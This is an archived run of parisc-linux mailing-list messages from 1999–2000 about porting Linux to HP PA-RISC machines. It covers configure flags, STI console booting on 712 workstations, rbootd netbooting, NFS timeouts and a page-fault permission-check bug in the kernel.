Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id VAA22907;
	Wed, 7 Apr 1999 21:33:16 -0400
X-Mailer: Mutt 0.91i
In-Reply-To: <19990407192743.A25057@debian.org>; from Justin Maurer on Wed, Apr 07, 1999 at 07:27:43PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8166

On Apr 07, Justin Maurer wrote:
> creating libtool
> configure: error: GAS does not support target CPU i386
> Configure in /home/parisc/cvs/binutils/gas failed, exiting.
> 
> the command i used to run configure with was:
> $ ./configure --prefix=/home/parisc/hppa-test/

You probably want to be doing
"./configure --prefix=/home/parisc/hppa-test --target=hppa-linux --with-gas"
unless I miss my guess.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] booting on 712/60]
Date: Wed, 18 Oct 2000 17:05:14 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <39EE108A.B2ECCF6B@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619197 4844 80.91.229.3 (22 Nov 2014 01:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:57 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 15:04:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22828
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 15:04:10 -0600
Original-Received: (qmail 9929 invoked by uid 15267); 18 Oct 2000 21:05:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9889 invoked from network); 18 Oct 2000 21:05:18 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR001.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 21:05:18 -0000
Original-Received: from videotron.ca ([216.113.0.11]) by
          VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2N98S03.BEE for
          <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 17:05:16 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8167

David Huggins-Daines wrote:
> 
> Ah!  Actually that triggers my memory.  You *must* append
> 'console=tty' to the kernel command line in order to use sticon (or
> probably fbcon too for that matter), or else it will default to
> serial.
> 
> Usually the PALO makefile handles this for you though.

So I should not have to do anything other then what I have been doing
which is just "make palo" right? (I have been following the "recipe"
given here ftp://puffin.external.hp.com/pub/parisc/debug/recipe.x)

> 
> --
> dhd@linuxcare.com, http://www.linuxcare.com/
> Linuxcare. Support for the revolution.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: Wed, 18 Oct 2000 17:13:56 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <39EE1294.B447BF1D@videotron.ca>
References: <200010181654.JAA14222@milano.cup.hp.com> <87r95e13o5.fsf@linuxcare.com> <00101820225400.00316@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619197 4846 80.91.229.3 (22 Nov 2014 01:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:57 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 15:12:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA24344
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 15:12:47 -0600
Original-Received: (qmail 25077 invoked by uid 15267); 18 Oct 2000 21:14:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24993 invoked from network); 18 Oct 2000 21:14:00 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR003.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 21:14:00 -0000
Original-Received: from videotron.ca ([216.113.0.11]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2N9NA04.VAH; Wed, 18 Oct 2000 17:13:58 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8168

Hello Helge,

Helge Deller wrote:
> 
> Am Wednesday 18 October 2000 19:04 schrieb David Huggins-Daines:
> > Grant Grundler <grundler@cup.hp.com> writes:
> >
> > > James Waterhouse wrote:
> > > > Hello,
> > > >   I just compiled a ramdisk using mondays cvs src for everything. I'm
> > > > using the graphics console ramdisk file off the puffin.external.hp.com
> > > > (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> > > > it boots up until the point where the kernel says...
> > >
> > > iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor
> number.
> > > I was reading old mail on this and the kluge to use a different
> > > major/minor confused me. I was told this was no longer needed.
> > > So you can use a newer/regular ramdisk.
> >
> > Ah!  Actually that triggers my memory.  You *must* append
> > 'console=tty' to the kernel command line in order to use sticon (or
> > probably fbcon too for that matter), or else it will default to
> > serial.
> >
> > Usually the PALO makefile handles this for you though.
> 
> Yeah, that was the problem ! I just found it too !
> (And you need to enable getty in /etc/inittab).

So what did you do to get it to work? You gave 'console=tty' to the
kernel command line? Where is it that you give the command line? Do you
have to modify a make file or what? Or are you just running palo/palo
with args as given in the palo doc? Which ramdisk did you have to modify
inittab in?

Jame




> 
> Thanks,
> Helge
> 
> >
> > --
> > dhd@linuxcare.com, http://www.linuxcare.com/
> > Linuxcare. Support for the revolution.
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jim Buttafuoco <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] netboot a 9000/710
Date: Wed, 18 Oct 2000 20:37:59 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <39EE4267.4E4B96B8@buttafuoco.org>
Reply-To: jim@buttafuoco.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619198 4847 80.91.229.3 (22 Nov 2014 01:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:58 +0000 (UTC)
To: PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
Original-X-From: jim@buttafuoco.org  Wed Oct 18 18:38:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA25962
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 18:38:16 -0600
Original-Received: (qmail 7093 invoked by uid 15267); 19 Oct 2000 00:39:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6394 invoked from network); 19 Oct 2000 00:38:00 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO p2.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 19 Oct 2000 00:38:00 -0000
Original-Received: from buttafuoco.org (p2.buttafuoco.net [192.1.3.2])
	by p2.buttafuoco.net (8.9.3/8.9.3) with ESMTP id UAA20357
	for <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 20:38:00 -0400
Original-Sender: jim@p2.buttafuoco.net
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8169

I have 2 9000/710 diskless workstations that seem to be working.  Now I
would like to get them to netboot.  I have downloaded rbootd and
compilied and configured (images are in /u03/hp/rbootd) it.  I have also
downloaded the latest Image and nfsroot files.

The rbootd seems to get a request (debug output at end of email) but the
systems doesn't see any boot devices after the "search" is complete.
What am I doing wrong,  is the procedure documented anywhere???

Thanks
Jim

>cat /etc/rbootd.conf
08:00:09:25:dd:7b            LINUX

>ls /u03/hp/rbootd/
LINUX            <<--- This is the kernel image I downloaded.  I didn't
know what else to do with it...


DEBUG OUTPUT
----------------------------------------------------
<<< 17:23:11.063816   Addr: 08:00:09:25:dd:7b   Intf: eth0
        802.2 LLC: DSAP:f8 SSAP:f8 CTRL:300
        HP Ext:    DXSAP:608 SXSAP:609
        Boot Request: (Send Server ID)
                RetCode:0 SeqNo:0 SessID:ffff Vers:2
                Machine Type: HPS700
                File Name (0): <>

<<< 17:26:06.884908   Addr: 08:00:09:25:dd:7b   Intf: eth0
        802.2 LLC: DSAP:f8 SSAP:f8 CTRL:300
        HP Ext:    DXSAP:608 SXSAP:609
        Boot Request: (Send Server ID)
                RetCode:0 SeqNo:0 SessID:ffff Vers:2
                Machine Type: HPS700
                File Name (0): <>




From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 712 STI and nfs
Date: Sun, 19 Nov 2000 13:08:45 +0100
Lines: 123
Approved: news@gmane.org
Message-ID: <004a01c05221$772fe5c0$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0047_01C05229.D8DA5D20"
X-Trace: ger.gmane.org 1416619198 4851 80.91.229.3 (22 Nov 2014 01:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:58 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Thu Oct 19 05:05:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA08637
	for <parisc-linux@puffin.external.hp.com>; Thu, 19 Oct 2000 05:05:29 -0600
Original-Received: (qmail 11069 invoked by uid 15267); 19 Oct 2000 11:06:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11061 invoked from network); 19 Oct 2000 11:06:49 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 19 Oct 2000 11:06:49 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP id 392CE57329
	for <parisc-linux@thepuffingroup.com>; Thu, 19 Oct 2000 13:06:39 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8170

This is a multi-part message in MIME format.

------=_NextPart_000_0047_01C05229.D8DA5D20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

We managed to boot on the STI-console with a 712/80 in changing the =
parameters in inittab and in securetty (if you want to login as root).=20

> cat inittab (! just the interesting thing!)
# /sbin/getty invocations for the runlevels.
#
# The "id" field MUST be the same as the last
# characters of the device (after "tty").
#
# Format:
#  <id>:<runlevels>:<action>:<process>
1:2345:respawn:/sbin/getty 38400 tty1
#2:23:respawn:/sbin/getty 38400 tty2
#3:23:respawn:/sbin/getty 38400 tty3
#4:23:respawn:/sbin/getty 38400 tty4
#5:23:respawn:/sbin/getty 38400 tty5
#6:23:respawn:/sbin/getty 38400 tty6

=20

> cat securetty
# /etc/securetty: list of terminals on which root is allowed to login.
# See securetty(5) and login(1).
ttyS0
tty1

Also, in order to boot with the STI console, you need to have the module =
for STI-console and not for serial console support...

But, we have troubles with the rpc that print somestimes
nfs: server X.X.X.165 not responding, still trying
nfs: server X.X.X.165 OK
nfs: server X.X.X.165 not responding, still trying
nfs: server X.X.X.165 OK
nfs: server X.X.X.165 not responding, still trying
nfs: server X.X.X.165 OK
We don't understand where comes from the problem!!

Bye,
ESIEE Port Team

------=_NextPart_000_0047_01C05229.D8DA5D20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We managed to boot on the STI-console =
with a 712/80=20
in changing the parameters in inittab and in securetty (if you want to =
login as=20
root). </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt; cat inittab (! just the =
interesting=20
thing!)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2># /sbin/getty invocations for the=20
runlevels.<BR>#<BR># The "id" field MUST be the same as the last<BR># =
characters=20
of the device (after "tty").<BR>#<BR># Format:<BR>#&nbsp;=20
&lt;id&gt;:&lt;runlevels&gt;:&lt;action&gt;:&lt;process&gt;<BR>1:2345:res=
pawn:/sbin/getty=20
38400 tty1<BR>#2:23:respawn:/sbin/getty 38400 =
tty2<BR>#3:23:respawn:/sbin/getty=20
38400 tty3<BR>#4:23:respawn:/sbin/getty 38400 =
tty4<BR>#5:23:respawn:/sbin/getty=20
38400 tty5<BR>#6:23:respawn:/sbin/getty 38400 tty6</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt; cat securetty</FONT></DIV>
<DIV><FONT face=3DArial size=3D2># /etc/securetty: list of terminals on =
which root=20
is allowed to login.<BR># See securetty(5) and=20
login(1).<BR>ttyS0<BR>tty1</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Also, in order to boot with the STI =
console, you=20
need to have the module for STI-console and not for serial console=20
support...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>But, we have troubles with the rpc that =
print=20
somestimes</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 not responding, =
still=20
trying</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 OK</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 not responding, =
still=20
trying</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 OK</FONT></DIV>
<DIV>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 not responding, =
still=20
trying</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>nfs: server X.X.X.165 OK</FONT></DIV>
<DIV>We don't understand where comes from the problem!!</DIV>
<DIV>&nbsp;</DIV>
<DIV>Bye,</DIV>
<DIV>ESIEE Port Team</DIV></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0047_01C05229.D8DA5D20--


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: Thu, 19 Oct 2000 23:36:44 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <00101923364400.00717@P100>
References: <200010181654.JAA14222@milano.cup.hp.com> <00101820225400.00316@P100> <39EE1294.B447BF1D@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619198 4854 80.91.229.3 (22 Nov 2014 01:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:58 +0000 (UTC)
To: James Waterhouse <james.waterhouse@videotron.ca>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Thu Oct 19 15:35:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA13159
	for <parisc-linux@puffin.external.hp.com>; Thu, 19 Oct 2000 15:35:29 -0600
Original-Received: (qmail 20947 invoked by uid 15267); 19 Oct 2000 21:36:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20937 invoked from network); 19 Oct 2000 21:36:48 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 19 Oct 2000 21:36:48 -0000
Original-Received: (qmail 29104 invoked by uid 0); 19 Oct 2000 21:36:37 -0000
Original-Received: from r591.str.dial.surf-callino.de (HELO P100) (213.21.12.83)
  by mail.gmx.net with SMTP; 19 Oct 2000 21:36:37 -0000
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <39EE1294.B447BF1D@videotron.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8171

Am Wednesday 18 October 2000 23:13 schrieb James Waterhouse:
> Hello Helge,
> 
> Helge Deller wrote:
> > 
> > Am Wednesday 18 October 2000 19:04 schrieb David Huggins-Daines:
> > > Grant Grundler <grundler@cup.hp.com> writes:
> > >
> > > > James Waterhouse wrote:
> > > > > Hello,
> > > > >   I just compiled a ramdisk using mondays cvs src for everything. 
I'm
> > > > > using the graphics console ramdisk file off the 
puffin.external.hp.com
> > > > > (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to 
boot
> > > > > it boots up until the point where the kernel says...
> > > >
> > > > iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor
> > number.
> > > > I was reading old mail on this and the kluge to use a different
> > > > major/minor confused me. I was told this was no longer needed.
> > > > So you can use a newer/regular ramdisk.
> > >
> > > Ah!  Actually that triggers my memory.  You *must* append
> > > 'console=tty' to the kernel command line in order to use sticon (or
> > > probably fbcon too for that matter), or else it will default to
> > > serial.
> > >
> > > Usually the PALO makefile handles this for you though.
> > 
> > Yeah, that was the problem ! I just found it too !
> > (And you need to enable getty in /etc/inittab).
> 
> So what did you do to get it to work? You gave 'console=tty' to the
> kernel command line? Where is it that you give the command line? Do you
> have to modify a make file or what? Or are you just running palo/palo
> with args as given in the palo doc? Which ramdisk did you have to modify
> inittab in?
> 
> Jame
> 

Hi James,

Here are some hints:

1. I'm using no ramdisk, but the nfsroot-20001009.tgz, which you can get from 
ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/
This has the great advantage, that you can modify all configuration files 
without the need to build a new kernel for every change - but you will need 
to setup one of your machines as nfs-server and export that directory.
More than that, the ramdisks on puffin.external.hp.com are mostly outdated !

2. Take a look at the documention in palo/Makefile. 
There I modified the NFSROOT = 10.10.10.2 to
NFSROOT = 192.168.100.100:/tftpboot/nfsroot    with 192.168.100.100 as the 
IP-address of my local nfs-server and the contents of nfsroot-20001009.tgz in 
/tftpboot/nfsroot.

3. Follow the hints from Thomas Marteau (copied from his mail):

>cat /etc/inittab (! just the interesting thing!)
# /sbin/getty invocations for the runlevels.
#
# The "id" field MUST be the same as the last
# characters of the device (after "tty").
#
# Format:
#  <id>:<runlevels>:<action>:<process>
1:2345:respawn:/sbin/getty 38400 tty1
#2:23:respawn:/sbin/getty 38400 tty2
#3:23:respawn:/sbin/getty 38400 tty3
#4:23:respawn:/sbin/getty 38400 tty4
#5:23:respawn:/sbin/getty 38400 tty5
#6:23:respawn:/sbin/getty 38400 tty6

>cat /etc/securetty
# /etc/securetty: list of terminals on which root is allowed to login.
# See securetty(5) and login(1).
ttyS0
tty1


Helge.
	


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A new file system
Date: Mon, 20 Nov 2000 15:32:55 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <000c01c052fe$c57f50c0$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01C05307.27222700"
X-Trace: ger.gmane.org 1416619198 4857 80.91.229.3 (22 Nov 2014 01:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:58 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Fri Oct 20 07:30:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA30141
	for <parisc-linux@puffin.external.hp.com>; Fri, 20 Oct 2000 07:30:29 -0600
Original-Received: (qmail 9449 invoked by uid 15267); 20 Oct 2000 13:30:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9416 invoked from network); 20 Oct 2000 13:30:58 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 20 Oct 2000 13:30:58 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP id EEDF257335
	for <parisc-linux@thepuffingroup.com>; Fri, 20 Oct 2000 15:30:47 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8172

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C05307.27222700
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

    Since we have the STI, we have produced a file system quite =
interesting for the 712. You can
have a network support till you configure the file.conf like resolv... =
Also, we have noticed that
the sti on B180 does not work well, it look like it can not find the =
rom. But we have to work on...

To download the archives go there:
http://www.esiee.fr/~djoudim/code/suitable.html

It is incredible what can do a 712 with it!

Bye,
ESIEE Port Team

------=_NextPart_000_0009_01C05307.27222700
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Since we have the =
STI, we have=20
produced a file system quite interesting for the 712. You =
can</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>have a network support till you =
configure the=20
file.conf like resolv... Also, we have noticed that</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the sti on B180 does not work well, it =
look like it=20
can not find the rom. But we have to work on...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>To download the archives go =
there:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.esiee.fr/~djoudim/code/suitable.html">http://www.esiee=
.fr/~djoudim/code/suitable.html</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>It is incredible what can do a 712 with =

it!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Bye,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV>ESIEE Port Team</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01C05307.27222700--


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in shared libraries
Date: Fri, 20 Oct 2000 08:08:48 -0600 (MDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200010201408.IAA06081@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619199 4859 80.91.229.3 (22 Nov 2014 01:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Fri Oct 20 08:07:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA31062
	for <parisc-linux@puffin.external.hp.com>; Fri, 20 Oct 2000 08:07:31 -0600
Original-Received: (qmail 20845 invoked by uid 15267); 20 Oct 2000 14:08:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20832 invoked from network); 20 Oct 2000 14:08:54 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Oct 2000 14:08:54 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id B77901319
	for <parisc-linux@thepuffingroup.com>; Fri, 20 Oct 2000 10:08:48 -0400 (EDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id IAA06081 for parisc-linux@thepuffingroup.com; Fri, 20 Oct 2000 08:08:48 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8173


I've been chasing a bug for the last few days that I believe is
responsible for a variety of flaky VM behaviour.  It turns out that we
were missing some code in do_page_fault() that is supposed to check access
permissions before calling handle_mm_fault().  This leads to problems with
reference counts on pages being wrong, which leads to a variety of bad
problems.

I checked in new code (in arch/parisc/mm/fault.c) to fix the problem,
however, I had to enclose the actual permission check inside an #ifdef
CHECK_PERMISSIONS, because the fix cannot be enabled yet.  The problem is
that at least one shared library is writing into a read only region
(routine _dl_start in /lib/ld-2.1.94.so).  I'm afraid this looks like part
of the dynamic linker, which means that just about every command is
potentially broken.  I'm hoping that we only have to fix a few shared
libraries, and not every command, to get around this problem.  Basically,
we need to be able to successfully boot with the #ifdef CHECK_PERMISSIONS
in fault.c removed.

I'm hoping that someone who knows more about the shared library builds
can look into fixing this.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
